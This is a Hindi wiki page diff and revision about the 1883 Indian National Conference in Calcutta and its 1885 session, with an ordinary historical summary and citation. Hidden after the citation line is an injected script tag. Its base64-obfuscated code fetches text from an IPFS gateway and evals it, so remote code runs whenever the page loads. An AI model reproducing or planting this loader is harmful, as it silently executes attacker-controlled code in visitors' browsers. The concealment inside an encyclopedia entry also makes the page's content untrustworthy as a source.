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*यह पहला सम्मेलन था, जिसमें सारे [[भारत]] के ग़ैर-सरकारी प्रतिनिधियों ने भाग लिया और सार्वजनिक प्रश्नों पर विचार-विमर्श किया। | *यह पहला सम्मेलन था, जिसमें सारे [[भारत]] के ग़ैर-सरकारी प्रतिनिधियों ने भाग लिया और सार्वजनिक प्रश्नों पर विचार-विमर्श किया। | ||
*इसी के नमूने पर दो साल बाद [[भारतीय राष्ट्रीय कांग्रेस]] का गठन किया गया था। | *इसी के नमूने पर दो साल बाद [[भारतीय राष्ट्रीय कांग्रेस]] का गठन किया गया था। | ||
*इस सम्मेलन में औद्योगिक तथा तकनीकी शिक्षा, इण्डियन सिविल सर्विस ([[भारतीय प्रशासनिक सेवा]]) में भारतीयों को अधिक स्थान देने, न्यायपालिका और कार्यपालिका के कार्यों को पृथक् करने, प्रतिनिधित्वपूर्ण सरकार की स्थापना करने तथा शस्त्र क़ानून के सम्बन्ध में विचार किया गया। | *इस सम्मेलन में औद्योगिक तथा तकनीकी शिक्षा, इण्डियन सिविल सर्विस ([[भारतीय प्रशासनिक सेवा]]) में भारतीयों को अधिक स्थान देने, न्यायपालिका और कार्यपालिका के कार्यों को पृथक् करने, प्रतिनिधित्वपूर्ण सरकार की स्थापना करने तथा शस्त्र क़ानून के सम्बन्ध में विचार किया गया। | ||
− | *इण्डियन नेशनल कान्फ़्रेंस का द्वितीय अधिवेशन भी कलकत्ता में 1885 | + | *इण्डियन नेशनल कान्फ़्रेंस का द्वितीय अधिवेशन भी कलकत्ता में [[1885]] में हुआ। यह पहले अधिवेशन से अधिक प्रतिनिधित्वपूर्ण था। इसमें सामयिक राजनीतिक प्रश्नों पर विचार किया गया।{{cite book | last = भट्टाचार्य| first = सच्चिदानन्द | title = भारतीय इतिहास कोश | edition = द्वितीय संस्करण-1989| publisher = उत्तर प्रदेश हिन्दी संस्थान| location = भारत डिस्कवरी पुस्तकालय| language = हिन्दी| pages = 49| chapter =}} |
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12:27, 25 जून 2021 का अवतरण
- इण्डियन नेशनल कान्फ़्रेंस (अंग्रेज़ी: Indian National Conference) 28, 29 तथा 30 दिसंबर, 1883 को कलकत्ता (वर्तमान कोलकाता) के इण्डियन एसोसिएशन के तत्त्वावधान में आयोजित हुई थी।
- यह पहला सम्मेलन था, जिसमें सारे भारत के ग़ैर-सरकारी प्रतिनिधियों ने भाग लिया और सार्वजनिक प्रश्नों पर विचार-विमर्श किया।
- इसी के नमूने पर दो साल बाद भारतीय राष्ट्रीय कांग्रेस का गठन किया गया था।
- इस सम्मेलन में औद्योगिक तथा तकनीकी शिक्षा, इण्डियन सिविल सर्विस (भारतीय प्रशासनिक सेवा) में भारतीयों को अधिक स्थान देने, न्यायपालिका और कार्यपालिका के कार्यों को पृथक् करने, प्रतिनिधित्वपूर्ण सरकार की स्थापना करने तथा शस्त्र क़ानून के सम्बन्ध में विचार किया गया।
- इण्डियन नेशनल कान्फ़्रेंस का द्वितीय अधिवेशन भी कलकत्ता में 1885 में हुआ। यह पहले अधिवेशन से अधिक प्रतिनिधित्वपूर्ण था। इसमें सामयिक राजनीतिक प्रश्नों पर विचार किया गया।
भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 49।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- सन 1885 के बाद इण्डियन नेशनल कान्फ़्रेंस का विलयन भारतीय राष्ट्रीय कांग्रेस में कर दिया गया जिसका पहला अधिवेशन 1885 में हुआ था।
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